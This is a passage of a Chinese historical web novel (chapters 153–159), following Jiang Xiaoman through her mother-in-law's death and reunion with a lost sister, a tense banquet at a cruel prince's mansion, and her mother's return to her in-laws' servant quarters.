“你，你居然需要忍！”姜小满很生气，明澈在对她之外的女人面前居然需要忍，这是不是意味着明澈其实对琥珀是有意的？ 明澈：“喝了那么多药，那可不——” 这夜，二人背对背而睡，谁都没有再理彼此。 这几日以来，明着的各种药膳、秘药，明澈通通拒绝了，只是明枪易躲暗箭难防。 今晚，在鱼羹里偷偷加了秘药的明妈妈便躲在暗处听着，想瞧瞧她新买的秘药到底有没有效果。 只是已然待了好一会儿，明澈与小满都安静得很，明妈妈不禁偷偷抹着泪回房了，“这都下药这么猛了，儿子还没动静，看来是真的有隐疾啊！” 感受到身体变化的明澈开始后悔今日不该同小满拌嘴，于是故意扯了扯被子瞧瞧小满是否已然入睡了。 今日骑马运动量过大的姜小满的确已经睡得很香，明澈试探多次后不禁坐起道，“居然睡得这样死，真是——” 忍了半宿的明澈最终决定不忍了！大半夜的，熟睡中的姜小满感受到一股熟悉的气息，迷迷糊糊中早已忘记了自己睡觉前好像是与明澈在吵架。 事毕，已然快要天亮，熬了一宿的明澈终于睡熟了，姜小满却是再也睡不着，“我刚刚干了些什么，昨晚不是吵架了吗？” 次日，待明澈上值后，明妈妈来寻小满，“小满啊，以前是娘不好，总是问你们什么时候生孩子，娘已经知道了，都是澈儿的问题，苦了你了——” 明妈妈昨夜也没睡好，一大早便来安慰小满，“你若是愿意，等以后二头或三头多生几个，咱们可以过继一个，从小养大的孩子也亲着呢——” 姜小满听出来了，明妈妈这是真的以为明澈生不了孩子。 姜小满瞧着明妈妈谈起孩子时那一脸的憧憬，不禁安慰道，“娘，不急，孩子会来的——” 第154章 表兄妹 那明妈妈却是叹了口气道，“天不遂人愿，我只两个愿望，一个是能抱到孙子，另一个是能——” “能什么？”姜小满竟不知明妈妈还有除了抱孙子之外别的念想？ “能寻到我的亲生姐姐！”明妈妈颇有些动情道，“说了也无用，我便从未同他人提起，我幼时家贫，父母将我与姐姐卖了换粮食，我与姐姐自幼最是亲厚，但从那日起便杳无音讯——” 明妈妈娓娓道来，姜小满终于知道明妈妈不是生来就叫明妈妈的。 幼时的明妈妈名叫董二妮，在十岁上和十二岁的姐姐董大妮一起被人牙子带走，从此便与最亲的姐姐分离。 入了承恩侯府后，明妈妈在十五岁上被配给了小厮明二，成为了明二家的，再也无人叫她董二妮。 有了明澈后便又多了一个名字：明澈娘。 后来做了奶娘，便又为自己挣了一个新名字：明妈妈。 “娘，这么多年，您可有寻过姨母？”姜小满颇有些心疼道。 “嗨，哪能找着啊，不说那些了，娘今日来是给你好东西的！”明妈妈说着便唤小满入了自己房间，并将自己攒的为数不多的衣裳首饰交给小满道，“小满啊，澈儿是个有福的，他娶了你，娘就算闭眼也能闭得安生了——” “娘你说什么呢？”姜小满冷不防听到平日里颇为忌讳的明妈妈竟然这样说话，有些不满道，“娘，你必定长命百岁，不兴瞎说的！” “好，娘长命百岁的像个老妖精似的活着！”明妈妈笑笑。 姜小满亦笑笑，自成婚以来姜小满便很喜欢明妈妈，与自己的亲娘相比明妈妈更能干，也更能担事儿，是明家的主心骨儿。 姜小满从未想过向来康健的明妈妈有朝一日会一病不起，然就在二日后，向来勤快的明妈妈竟然没有起床做早食。 当众人进屋探望时，明二也诧异道，“不知道啊，昨儿还好好的，夜里也没什么不舒服啊！” 明妈妈听得此处却是眼角留下了一滴泪，明妈妈昨夜已然很不舒服，但那明二却是打了一整晚的鼾。 明二在外人看来上孝父母下教儿子，为人忠厚老实，对老婆亦是言听计从，是难得的好人，但只有明妈妈知晓其内心深处的凉薄。 “我去侯府，让承恩侯去请太医！明三头，你去翰林院唤明澈回来，快去！”姜小满说着便披了外袍去往侯府。 那明三头要去翰林院找明澈之时，明阿爷还在后面喊着，“人吃五谷杂粮谁能不生病呢，不必去唤澈儿，官老爷的大事儿耽误不得！” 明阿奶亦是不满道，“正是呢，谁还没个三病两痛的，我生病的时候也没见谁如此上心呢？” “还不快去！”姜小满催促道。 明三头闻言便一溜烟儿跑走了。 姜小满甫一到侯府，便收到秘闻：【蓝金玉与明澈是表兄妹。】 蓝金玉怎么会和明澈是表兄妹？明澈只有一个堂妹明大丫啊？哪里又有一个表妹呢？ 姜小满颇觉这条秘闻耐人寻味，但眼下一心想着求宋长宗去请太医，因此便没有在意。 当姜小满风风火火赶到新任承恩侯宋长宗的书房时，那看门的小厮却道，“侯爷有客，您改日再来吧！” 小满惦记着明妈妈的病便顾不得那么些规矩，“你让我进去，是明妈妈病了，明妈妈可是侯爷的奶娘，若是明妈妈有个三长两短小心侯爷怪罪！” 那小厮却是坚持等客人走了方能通报。 吵吵嚷嚷间，便听得宋长宗怒斥何人在外喧哗。 姜小满趁势入内便看到了陆云起与蓝金玉。 原来这便是宋长宗的客人！难不成是二人好事将近，今日是特来拜会新任承恩侯的？毕竟陆云起是从侯府出来的进士。 见着是姜小满，蓝金玉很是开心道，“明夫人，是你啊！” 宋长宗见是姜小满本要斥责，但看到其与蓝金玉交好便也换了脸色道，“姜小满，你来寻我何事啊？” 姜小满：“回侯爷，明妈妈今儿早起突然一病不起，求侯爷帮着请个太医来看看！” 承恩侯府虽说近来败落了，但瘦死的骆驼比马大，旁人请不来的太医承恩侯请一请还是可以的，姜小满总觉得明妈妈的病来得急，定要找个太医好好瞧瞧才放心。 “明妈妈病了？”宋长宗面露急迫，忙差人去请太医。 姜小满也算是松了一口气，这宋长宗哪哪都不行，但只要明妈妈有需要他还是愿意帮忙的，毕竟是有养恩在。 “明夫人，你怎得会出现在承恩侯府？”蓝金玉还不知道小满与承恩侯府的渊源。 姜小满看着蓝金玉不禁回忆起方才的秘闻，“这蓝金玉怎会是明澈的表妹？” “老明家只有明大丫一个孙女，明澈倒是有两个姑姑，但姑姑家的女孩儿大的大，小的小，不应该是蓝金玉这么大年纪呀？” 姜小满这样想着，忽得想到明妈妈说她有一个姐姐董大妮，莫非这蓝金玉是董大妮的女儿？ 思及此处，姜小满便有些激动道，“金玉，我与你有要事，可否同我借一步说话？” 旁侧断了三根肋骨，走路还需要搀扶的陆云起点点头示意蓝金玉不用管他。 蓝金玉不舍得瞧了眼陆云起道，“什么事儿啊？明夫人！” 姜小满拉着蓝金玉到了外边低语道，“蓝小姐，烦请回去帮我问问，令堂幼时的闺名可是董大妮，你就和你母亲说董二妮生病了——” 姜小满将甘露巷的地址告知了蓝金玉，又嘱咐了几句便匆匆回家去看明妈妈了。 太医赶到后，摸了摸明妈妈的脉，随即摇了摇头表示明妈妈大限已到，他已无能无力。 明澈瞬间瘫软在地，哽咽道，“我娘昨儿还好好的，怎会如此？” 太医：“明大人，令堂的病来得急，恕老朽无能，即便是拿药吊着，也只能多一日的寿，看看病人还有什么未了的心愿吧——” 明澈从未想过，母亲会这样快便离开自己？ 失魂落魄的明澈揪了太医的衣领道，“庸医害人！我娘好好的，你竟敢胡说八道——” 第155章 明妈妈离世 明二与明三头将明澈拉至一边，姜小满不住地给太医道歉，那太医倒也大度地表示理解，毕竟病来得这样急，换成是谁也受不了啊—— 床榻之上的明妈妈虚弱道，“澈儿，不要这样，人都有这么一天的！” 明澈闻言便扑倒在了明妈妈的身上，明妈妈摸了摸明澈的头道，“要与小满好好的，将来做个好官——” 姜小满亦是哽咽道，“娘，你等我，等我给你生孙儿，你坚持住啊，娘——” 明妈妈笑笑道，“傻孩子，没有孙儿便没有孙儿——” 姜小满附在明妈妈耳边低语了几句，将明澈并没有隐疾，只不过是面对琥珀的权宜之计告知明妈妈，明妈妈听后眼中闪着光彩道，“好，娘知道了。” 姜小满此刻多么希望明妈妈在走之前能见到亲生的孙儿，她这一世的两个愿望，一个孙儿，一个姐姐—— 思及此处，姜小满忽得擦干眼泪道，“娘，你等着，我去将姨母寻来！” 姜小满直奔蓝府，进院便看到了踉跄着正要出门的蓝嬷嬷和蓝金玉。 这位蓝嬷嬷便是季贵妃身边的蓝嬷嬷，因着揭发了公主换皇子之事，而换得儿子平步青云。 蓝金玉见状忙兴奋道，“明夫人，我娘说她真叫董大妮，我正要带着她去瞧你婆母董二妮呢？” 那蓝嬷嬷见小满神情慌张，又急急出现在蓝府，忙道，“是二妮不好了吗？” 小满眼泪哗哗往下，三人忙乘了马车向明宅飞奔而去。 ...... 姜小满：“娘，你看谁来了？” 蓝嬷嬷看着床榻上的明妈妈，虽说二人已分别多年，但二妮的样貌并未有太大的变化，蓝嬷嬷一眼便认出那就是二妮儿，“二妮儿，姐姐来了！” “姐姐？”明妈妈眯了眯眼睛，细细盯着蓝嬷嬷看了看，眼泪便止不住地往下流，“真是姐姐！” 明妈妈着人将她扶了起来，随即便与蓝嬷嬷互相望望抱头痛哭起来。 一别多年，两个姐妹同在京城，却多年不得见，如今见了却又要长别—— 生而为人，有多少的无可奈何！ 过了好一阵儿，二人便开始回忆起她们那并不美好的童年。 蓝嬷嬷：“我记得你小时候像个馋猫儿，总是偷弟弟的糖吃，有一次爹发现你偷吃便将你吊起来打！” 明妈妈：“还说我呢！饥荒年时爹娘紧着把粮食给弟弟吃，还是姐姐你将小弟打了一顿才从他口袋里抢了半个饼救了我的命！” 明妈妈一直笑，蓝嬷嬷一直哭，二人哭哭笑笑间明妈妈道，“值了，临了了，能见着姐姐，我也算是瞑目了，还有宗哥儿——” 明妈妈力气越来越弱，瞅了一眼满屋的亲人，口里竟然念起了“宗哥儿”。 姜小满赶忙去侯府找宋长宗。 对所有人来说宋长宗是高高在上的承恩侯，但对明妈妈来说那是她的奶儿子，是她临走时还在惦念的人。 听到明妈妈病危的宋长宗亦是踉跄着跪倒在明妈妈床前，明妈妈见着奶儿子很是开心道，“这下全了——宗哥儿啊，是奶娘没有教好你，你以后莫要再走错路了——” 明妈妈在亲人的目送下含笑离开，姜小满祈祷明妈妈下辈子定然要托生一户好人家，有爹娘疼爱，不再为奴为婢—— 待送走了明妈妈，明澈也多了一位姨母，那便是户部左侍郎蓝金临之母蓝老夫人。 没几日功夫，那蓝金玉便来和小满道，“她要成亲了，新郞是陆云起！” “金玉，不要！你不了解陆云起，你们不合适——”姜小满很想阻止这门亲事，她总觉得陆云起是另有所图，并非真心倾慕蓝金玉。 蓝金玉：“小满，我们如何不合适？我自然了解他，陆大哥是一个见多识广，少年励志之人，且有侠义心肠——” 看着对陆云起有错误认识的姜小满不禁道，“他侠义心肠？” 姜小满真想将陆云起火烧侯府气死亲爹，害死两条无辜的性命；为了一己之仇将无辜的孩子偷走，还将自己囚禁空间的事情一股脑儿告诉蓝金玉，但她发现哪一件都不能说。 说了也无人信，还会给自己背个造谣的名头。 二人争执一阵，那蓝金玉有些不悦道，“姜小满，我把你当朋友才和你分享我的婚事，你不祝福便算了，怎得咒我呢！” 姜小满无能为力，只能祝福。 很快，便迎来了蓝金玉与陆云起的婚事，堂堂六品左侍郎的亲妹竟也愿意嫁入甘露巷的宅子，与姜小满做成了邻居。 话说，陆云起有很多钱，空间里都堆不下了！考中进士时还有先承恩侯宋成炀给的五百两，但他暂且不能买大宅子，他得树立一个清廉的好形象，不然来路不明的银钱会毁了他的仕途。 成功娶了蓝金玉的陆云起作为户部左侍郎的妹夫，很快便升到了正五品的户部郎中。 又因着明妈妈临终前与蓝嬷嬷的认亲，明澈亦成为了蓝金临的表弟与蓝金玉的表兄，陆云起阴差阳错间竟然与明澈和姜小满成了亲戚。 如今陆云起见了明澈和小满，论理还得称呼一声表兄表嫂！ 总之，明澈和陆云起攀着蓝家这条藤儿算是正式入了二皇子派。 这日，明澈将请帖置于书案前道，“二皇子景王明日设宴为他的宠妾庆贺十六岁生辰，你我同去罢！” “为宠妾庆生竟然要官员作陪？”姜小满惊讶道。 明澈：“见怪不怪吧，这二皇子做事向来如此！” “看样子你很了解二皇子似的？我之前就听闻二皇子暴戾，说来要去晋王府赴宴还有点怕怕的。”姜小满隐隐有些担忧。 明澈：“我只是个六品小官，也是因着有了蓝金临这个表兄才被邀，到时候你我二人只专心吃席，放心吧！” 明澈想了想又不放心道，“我给你讲个故事，准保你去了晋王府不敢乱跑！” 姜小满：“什么故事？” 明澈：“二皇子幼时练习射箭，有一次突发奇想居然要用活人做靶，羽王见状便着自己的小厮去阻止，事后那二皇子怀恨在心，不能将亲叔叔怎样，便找了借口将那小厮杀了！” 第156章 那狗也叫小满 “竟然用活人做靶，还滥杀无辜？”姜小满愤愤道。 “不止如此，那小厮的人皮被二皇子扒了下来，后来做成了琵琶，你若到了景王府乱跑说不准就会看到那个人皮做的琵琶了！”明澈的故事是真的，说给小满听也是忧心她在晋王府乱跑惹出事端。 姜小满“你，你放心！我不敢乱跑的！这世上怎会有这样毒辣之人？倘若让他做了皇帝那百姓还能有好日子过吗？可惜啊——” 明澈：“可惜什么？” “可惜羽王殿下只是皇弟，我瞧着羽王那种能当街救孩童的侠义之人才更适合做君主！” “这话出去可不兴乱说，小心被割了舌头！”明澈提醒道。 “我又没在外面说！明澈，你说我们去给那小妾过生辰上赶着巴结二皇子有何意义？难不成你以后真要效忠这种残暴之人吗？”姜小满一直对明澈拼力往二皇子阵营里挤颇有些微词。 “娘子，暂且没有别的路可选！”明澈叹了口气道。 他只盼着羽王大事能成，否则这天下万民该当如何？但眼下只能先取得二皇子的信任，方能在日后助羽王一臂之力。 姜小满：“欸？你这故事可是羽王殿下告诉你的，看来他也很不喜欢这个侄子呀！最近羽王不知在忙些什么，没有来寻你，也没有来寻婉之姐姐——” “姜小满，羽王殿下是君，我们是臣！之前我们不知身份还上赶着要给君王说亲，真真是好大的脸，以后不能再议论君王之事，各人有各人的缘法——”明澈提醒着。 “我又没去外面说！”姜小满嘟嘟囔囔表示不满。 “还有，我与羽王相识之事也不要再提，羽王日后也不会再来甘露巷寻我！”明澈煞有介事道。 姜小满还想说些什么，想了想还是闭了嘴。 算了，那是皇亲贵胄，且过好自己这六品小官官眷的小日子吧！ ...... 这日，姜小满特意换了一身不显眼的月白色衣裙同明澈一起赴宴。 作为小官的官眷，姜小满同蓝金玉一样坐在了宴席的末首。 没多久，二皇子便带着那如花的小妾出现在了宴席之上。 “小满，你瞧那宠妾也就十五六岁的样子，竟让这么多官员官眷来给她庆生辰，也不知能不能承得住？”蓝金玉翻着白眼道。 姜小满谨记着明澈给她讲的人皮琵琶的故事，眼观鼻鼻观心地只是低头喝茶，对于蓝金玉想要八卦一番的心情采取不予理会的态度。 最后，姜小满实在忍不了便低声说了一句，“我们来这景王府还是只喝茶的好，别说了——” 正当此时，姜小满与蓝金玉都看到那生辰宴的主角，二皇子的宠妾正言笑晏晏地朝着她们而来，口中还不断地喊着：“小满，小满，你在哪儿啊，小满——” 蓝金玉疑惑，“你们这么熟吗？” 姜小满虽说是一头雾水，但依旧是理了衣衫规矩行礼道，“我是小满，不知——娘娘寻我何事？” 小满不知该如何称呼那宠妾，唤一声娘娘应当没错吧。 谁知那宠妾竟直直地越过姜小满，在她旁边抱起了一只雪白的哈巴狗道，“小满，你原来在这里呀，吓死娘了，还以为你丢了呢——” “汪汪——”那只名叫小满的狗回应了几声。 姜小满明白过来，应当是蓝金玉不停地在耳边小满、小满地叨叨，所以把这狗给召来了！ 那宠妾抱着狗，不知旁人在笑什么，身边的侍女低语几声，那宠妾便娇声道，“原来你也叫小满啊，居然和我的狗一个名儿，真真是好玩儿，呵呵——” 看着这宠妾高兴，身边突然冒出不少真正的舔狗。 “真是巧了，这位夫人竟然同娘娘的狗同名，果真是这位夫人的福气呀！”一精瘦的官眷挑头儿道。 “是啊，瞧着娘娘这狗毛色雪白，这位夫人也是肌肤胜雪，真是巧了！” “娘娘的狗真聪明，还知道找同名的人玩儿！” “不如让这位夫人抱着娘娘的狗在宴席上走一圈，小满抱着小满岂不是有趣儿！”方才那精瘦的官眷建议道。 姜小满红着脸恨不得找个地缝钻进去，自己已然眼观鼻鼻观心不说话了，怎得就和只狗重名了呢？ “呵呵——娘娘，我幼时被狗咬过，怕狗，还是不要了吧——”姜小满婉言拒绝。 若是让她抱着狗走一圈，不光是脸丢尽，最重要的是她真的怕狗！ “娘娘，明夫人的确怕狗，还请娘娘体谅！”蓝金玉帮腔道。 听到小满怕狗，本来觉得这个游戏可有可无的宠妾忽得有了兴致道，“你当真怕狗？” 那精瘦的官眷察言观色间看出那宠妾来了兴致，便做主一把将狗放在姜小满的怀里道，“狗有什么好怕的，这可是娘娘的狗，能替娘娘抱狗是咱们的荣幸！怪我，我若是叫小满，定然会抱着狗走一圈的，瞧这狗多可爱！小满，小满——” 真真是一副狗样。 姜小满盯着怀里的狗无所适从，那狗也盯着姜小满，两个小满盯了一会儿，那狗好像不满意小满没将她搂紧些，于是便朝着小满汪汪叫了起来。 姜小满被吓了一跳，直接将狗扔在了地上。 那哈巴狗被摔了一下，便不满地朝着小满汪汪大叫了起来。 那宠妾面露心疼地抱起她的狗，“乖，摔疼了吧，我带你去找爹爹——” 狗小满的娘带着它去找它爹告状了！ 只见那宠妾指着姜小满的方向哭唧唧软糯糯地那么几声，二皇子便气势汹汹地朝着女宾席的方向而来。 二皇子：“你是谁家的官眷？竟然伤我爱妾的狗？所谓打狗还得看主人，你可是没将本王放在眼里！” 姜小满瑟瑟发抖，“我不是有意的，求景王殿下开恩。” “王爷，就是她！臣妾不过是想让她抱着小满走一圈图个乐儿，她竟然——”那宠妾哽咽到无法继续诉说，只一味亲昵地摸着那哈巴狗的毛道，“乖，你受苦了，我们让爹爹做主！” 二皇子：“来人，将这人给我拖出去！哪只手摔了我的小满就将哪只手剁了！” 第157章 梨落公主 天呐！她姜小满真的什么都没做啊，竟然逢此大难！ 怎么办？电光火石间姜小满竟然想着跑去男宾席求陆云起，能不能借他的空间一躲！ “殿下，这位是臣的夫人，惹得陛下动怒是臣妻之错！臣愿代替夫人受罚，只是臣明日还要替陛下起草诏令，望殿下千万保住臣的双手！”在男宾席的明澈听闻女宾席这般有个叫小满的出了事儿便急急赶了过来。 此刻，他只希望这个二皇子能明白，他明澈虽然官职低微，却是皇帝近臣，他若是敢对自己的妻子滥用私刑，明日皇帝便会知晓他的一切！ 皇帝本就对二皇子不喜，如今对其重用实在是无奈之举，倘若明澈在皇帝耳边添油加醋，那二皇子亦少不得会被斥责，想来这也不是他想要的。 正在此时，忽有宫人道，“梨落公主驾到！” 听得这一声，众人均顾不得这狗不狗的，大顺朝多了一位公主，这是京城人人都知晓的事，但这位公主的庐山真面目却是谁都没有见过。 众人懵圈间，却见一衣着华贵的少女款款而来，那少女在宫人的引导下对着二皇子道，“见过皇弟！” “皇姐！”二皇子对着公主拱手行礼。 二皇子对这位公主倒是喜欢的，若不是她成为公主，那眼下一切都还是大皇子的天下。 二人寒暄几句，那公主便对着姜小满道，“方才我在外面听得这位夫人同皇弟爱妾的狗重名了，所以闹了些不愉快？” 姜小满望着公主孙元娘颇觉看到了救星，舒了一口气的同时对着孙元娘道，“是臣妇的错，不该和娘娘的狗重名，又失手摔了娘娘的狗。” “原来如此，想来是个误会，娘娘不过想图个乐子而已，既如此不知本公主可否替娘娘的狗狗赐个名儿，也图个乐子呢？”孙元娘对着那宠妾道。 那宠妾听得当朝公主叫她娘娘，忙慌了神道，“一条狗而已，任凭公主殿下做主。” 二皇子：“皇姐高兴便好！” 这公主是季贵妃之女，如今季贵妃被幽静冷宫，公主依旧能出宫来，身边还带了御前的宫人，二皇子觉得他这新皇姐定然是有两把刷子的，且不能怠慢。 “那便好，不知这位夫人是谁家官眷，闺名是？”孙元娘对着刚刚那精瘦的官眷道。 方才孙元娘已然在门外冷眼瞧了一会儿，这精瘦的妇人最是讨厌，今儿她定要为小满报仇才是。 “回公主殿下，臣妇是吏部郎中李瑾的官眷，闺名盼儿！”那精瘦妇人陪笑道。 孙元娘：“好名字，盼儿！皇弟，我们就为这狗狗改名叫盼儿，盼着我们大顺国运昌隆可好？” 这都扯上国运昌隆了，谁敢说不好。 “好，就叫盼儿！”那宠妾配合地对着狗道，“盼儿，我们盼儿可是公主亲赐的名字，开心吗？盼儿——” “既然今日是庆贺生辰，那我们就乐一乐，不知李大人的官眷盼儿可否抱着狗盼儿走上几圈呢？”孙元娘询问道。 “臣妇，臣妇可是命妇，这样不好吧？”那精瘦的盼儿觉得如此一来自己在京城便无脸见人了。 “这位夫人，狗有什么可怕的，这可是娘娘的狗，还被公主赐了名儿，能抱着它可是你的荣幸！”姜小满说着便将那狗盼儿塞进了李家盼儿的怀里。 有了姜小满差一点被剁去双手的前车之鉴，那李家盼儿稳稳地将狗盼儿抱在怀里，生怕这狗一不留神磕了碰了再搭上她自己的狗命。 李家盼儿：“臣妇遵命！” 姜小满眼见着盼儿抱着盼儿，在男宾与女宾席之间来回穿梭，她相公李大人早已气得喝光了一壶酒，那李家盼儿倒是能屈能伸，还高高兴兴地朝着众人点头示意呢。 “汪汪——”狗盼儿表示很满意，就喜欢被人盼儿抱着。 孙元娘听得那狗盼儿叫得欢便拍着手笑道，“李家盼儿你也叫两声呗！” 李家盼儿：“汪汪——” 宴席到半，孙元娘说自己乏了要小憩一下，于是姜小满便在晋王府的厢房内见到了许久未见的孙元娘。 “元娘，你怎么变成公主了？”姜小满兴奋道。 姜小满当然知道孙元娘是怎么变成公主的，但免不了还得这么问一句才显得真实。 “那日，我被季贵妃带回宫里，后来又听到宫女说明三头敲了登闻鼓——”孙元娘将她这段时日以来的经历一股脑儿地倒给小满。 “元娘，你终于找到爹娘了，我真替你高兴！不过你的爹娘不是一般人，你在那个地方万万要保护好自己！”姜小满颇为担忧道。 今日一见，孙元娘已然有了公主的气度，再也不是之前那个总是躲在自己身后需要她保护的小姑娘了。但是人不会无缘无故成长，想来孙元娘这段时日以来也过得焦心吧！ 孙元娘：“小满，我娘现在还关在冷宫里，我爹，我爹本来也不待见我——” 孙元娘诉说着她怎样亲眼见着自己的爹在大殿之上手刃了她的亲外祖，她从不知该如何自处，到决定要为了娘和明三头好好做好这个公主。 “小满，我娘为了我全族被屠，我得好好的，以后将她接出来！”孙元娘顿了顿继续道，“还有三头，我好想见见他，但现在还不是时候——” “元娘，你放心，三头现在好好的！但是，你今日怎地出宫来了？”姜小满不明白被冷待的不见天日的公主怎得突然间能见人了？ “父皇让我来瞧瞧二皇子！”孙元娘是带着任务来的，来瞧瞧她这位弟弟到底有多么不堪重任。 “小满，我现在不愁吃不愁喝，也找到了爹娘！接下来最重要的任务就是讨得我父皇的欢心，这样才能早日将我娘接出来，我一定要做大顺最得宠的公主！” 姜小满有些心疼，找到爹娘的孙元娘如今要费尽心思讨皇帝的欢心，所谓帝王之家哪有那么多的天伦之乐啊！ 姜小满：“好，我等着你做大顺最受宠的公主，等着你将季贵妃娘娘早日接出冷宫！” 第158章 回娘家 二人匆匆一别，便各自回到了自己的轨道。 孙元娘努力做大顺最受宠的公主，而姜小满也要过好她的小日子。 这些时日以来，姜小满在秘闻中看到许多信息。 【承恩侯府如今全靠侯夫人季尘欣的嫁妆供养。】 【季尘欣被林柳儿害得流产，导致无法生育，已将林柳儿之子记在名下。】 【大房大小麻氏姐妹失和。】 【三爷宋长实夫人有孕。】 ...... 如今的承恩侯府已然同姜小满没有太大的关系，每每看着这些信息她都觉得像看戏文一般，早已置身事外。 直到这日姜小满看到：【林柳儿暴毙，死于季尘欣的毒药之下。】 林柳儿死了？ 这个自己并不喜欢，多次陷害自己的女子就这样悄无声息的离开了？ 这样一个女子，生而为奴，从小活在母亲的棍棒之下，从未有过一日自己想要的日子！ 姜小满竟然为林柳儿留下了一滴泪—— 与林柳儿的死同时发生的是姜石头与纪氏又生了一个女儿，因着生于白露时节，所以取名为姜白露。 姜白露生来便是侯府的家生子，同当年的姜小满一样。 已然好久没有回娘家的姜小满，今日陪同母亲回到了承恩侯府的下人房中。 姜小满：“恭喜二叔二婶得了个可人的女儿！” 自上次姜家人上门讨要宅院后，姜小满便懒得再回来，但小满娘很想家，姜小满不得不陪她娘回来缓和一下关系。 婶婶纪氏：“小满回来了，白露，快瞧，你长姐回来看你了！” 婶婶纪氏倒像是什么都没发生一样，对小满极尽热情。 小满娘：“二丫头长得真好，胖乎乎的！” 纪氏：“是啊大嫂，这孩子是个有福气的，谁让她有个探花夫人的姐姐呢！” 许久未见纪氏仍是透着一股酸味儿，不过对于姜白露，小满倒是真心喜欢。 这个胖乎乎的小丫头就像是小时候的自己，生于侯府的下人房，等长大了便要从三等丫鬟做起，一步步往上爬—— “老大家的，你们回来了！”阿奶王婆子倒也是少见的给了好脸色。 “大嫂，你们怎得才回来，都见外了——”姜石头也是难得的恭敬。 姜冬宝依旧在院子里斗鸡走狗。 “小满啊，婶婶想求你个事儿？”纪氏故作亲昵地理了理小满的鬓发道，“你之前便是崔姨娘房里的，听说崔姨娘要生产了，能不能给婶子说说情，让我入崔姨娘房里做个奶娘？” 原来如此，是有求于人啊！ 小满：“婶子若是去做了奶娘，这小白露怎么办？家里怎么办？” 现在的姜家只有姜石头一个劳动力，的确是有些揭不开锅。 但是王婆子已然年迈，家里全靠纪氏撑着，她若是去做了奶娘，那姜白露该怎么办？ “正是呢！”纪氏说着便拉了小满娘的手道，“大嫂，你回家来吧！外面终究不是自己家，这里才是你的家呀！” 懂了，懂了，难怪姜家今日如此脸色好，原来是打着将小满娘要回来当免费劳动力的主意！ 姜小满坚决不同意，她娘如今跟着她吃得好，住得好，跑回这下人房给人看孩子吗？ “不行，我娘身子弱看不了孩子！”姜小满坚决道。 那小满娘却犹豫了一下，开口道，“回来倒是也不是不行——” 姜小满震惊，她自问对她娘不差，她娘为何要回来？ 姜小满：“娘，这件事儿等我们商量一下再说！” 午饭后，小满和娘回到之前住的房间小憩，姜小满很不满意地对她娘道，“娘，难不成你看不出来这姜家是要把你当下人用吗？你回来那就是姜白露的奶娘兼全家的老妈子！” 小满娘叹了口气道，“那有什么法子，这里是我的家呀！” “这里是你哪门子的家？你只有一个女儿一个亲人，你女儿都搬出去了，你在这里做什么？”小满不懂。 小满娘：“可是，可是你已经嫁出去了呀！那宅院再亮堂也姓明啊！况且娘年纪大了，将来，将来还是要埋在姜家祖坟的呀——” 姜小满很想和娘大吵一架，她为了让娘过上好日子，对外宣称那套宅院写了娘的名字，还千方百计地让娘少干活多休息，但在娘心里这个没有亲人的姜家才是她的家，而自己不过是嫁出去的女儿泼出去的水？ 看到女儿不高兴，小满娘继续解释道，“小满你不懂，那一院子都是明家人，在那里娘是外人！更何况自明大丫嫁人，明妈妈离开后，娘在那宅子里也不轻松——” “娘，你若是累怎得不早说？我可以请人来帮忙啊？”小满现在已然有些积蓄，虽说不一定要买个丫鬟之类，但花点银子请人来帮帮忙还是可以的。 小满娘：“不了，娘就回姜家吧！” 小满：“那好吧！” 姜小满心里有些不好受，倘若她是个男儿，小满娘定然不会有住在别人家的想法！就因为她是个女儿，所以即便那宅院写了姜小满的名字，她娘依旧住着不踏实。 正所谓金窝银窝不如自己的狗窝，也许对小满娘来说的确只有姜家才是家！ 姜小满不懂，但是她选择尊重，她娘是这个时代的人，有这个时代的桎梏。 最重要的是她娘在甘露巷也许的确不舒心，若是换做她也不喜欢满院子的外人—— 下午，二人准备离开，纪氏忙追了出来道，“小满啊，婶婶托你的事儿别忘了！还有，大嫂，你别走了，你不在我还怪想你的！” 纪氏说着便拧了姜冬宝的大腿，姜冬宝机械地抬头道，“是啊，大伯娘，冬宝也想你呢！” 小满娘看着这个好像能为她养老送终的夫家侄子，竟然红了眼眶道，“好，大伯娘收拾收拾，明儿就回来！” “老大家的，你同意了？”王婆子喜出望外道。 姜石头亦是松了口气道，“老婆，你今儿就替大嫂把屋子收拾出来！” 姜家所有人都很开心，小满娘回来不止是纪氏能去做奶娘赚钱，而且小满也会常常回来，小满常回来就意味着会带许多东西回来—— 事已至此，姜小满决定用她娘想要的方式来对她好。 第159章 妾室的聚会 “阿奶，我娘搬回来可以，但家里的活儿不能全落在我娘的身上！”姜小满说着便又转向姜石头道，“二叔，如果没记错的话，你那看门的差事是上五休五吧？” “是是是，小满记性真好！”姜石头点头道。 “那这样，以后二叔不当差时便由二叔来看孩子，并负责做一日三餐！二叔当差时再换做我娘！”姜小满用命令的口气道。 王婆子有些不满道，“你嫁出去的女儿，管娘家这些事作甚，你二叔一个大男人看什么孩子？” “阿奶，若是不让我管娘家事，那二婶去当奶娘的事儿也就不成了？还有我本来预备着给姜冬宝找个学堂念念，若是不按我说得做，那就算了吧——”姜小满不惯着，既然她娘回来了，她就得管娘家事儿，除非娘家真的不需要她！ 哪有既要又要的事儿，她得在能力范围内让她娘过上好日子。 “我能，我能！”听到姜小满要给姜冬宝找学堂，姜石头瞬间来了劲儿，“自己的闺女自己疼，我能看得了孩子，放心！” “倘若我娘在家病了累了，那姜冬宝便不许上学！”姜小满将姜冬宝当做了人质，如此一来小满娘在家里方能轻松一些。 “小满，你放心！只要能让冬宝念书，咱们全家都将你娘当祖宗般供着！不知你帮着冬宝寻了哪个学堂，可是侯府的家学？”纪氏殷勤道。 姜小满：“二婶，我寻了城南陈家的家学，家学里不止教读书认字，还教骑马射箭、术数，乃至经商，婶子可还满意？” 这个城南陈家是明澈同僚的家，姜小满早就打听着想让姜冬宝去念书。 虽说她不喜欢姜冬宝，但这么大的孩子整日里斗鸡走狗的确不是回事儿，况且只有姜冬宝有出息了，这姜家才能正式立起来，而不是成为自己的拖累。 “满意，满意，冬宝，咱们要去念书了！”纪氏感慨道。 “怎得不去侯府家学，反倒舍近求远了呢？”王婆子疑惑道。 姜小满：“阿奶，若是看不上陈家的家学那便算了——” 如今的侯府已然不是过去的侯府，不单当家主母不一样了，关键是侯府家学里养宋家的子侄都费劲，哪能再顾得上外人呢。 次日，姜小满便陪着小满娘将东西搬回了侯府下人房。 瞧着她娘满心欢喜的出出进进收拾整理，姜小满叹了口气，随她吧—— ...... 待过了寒露便是中秋，明澈明日要去景王府赴宴，为二皇子送节礼。 姜小满将节礼准备好道，“明儿要带家眷吗？” 明澈点点头。 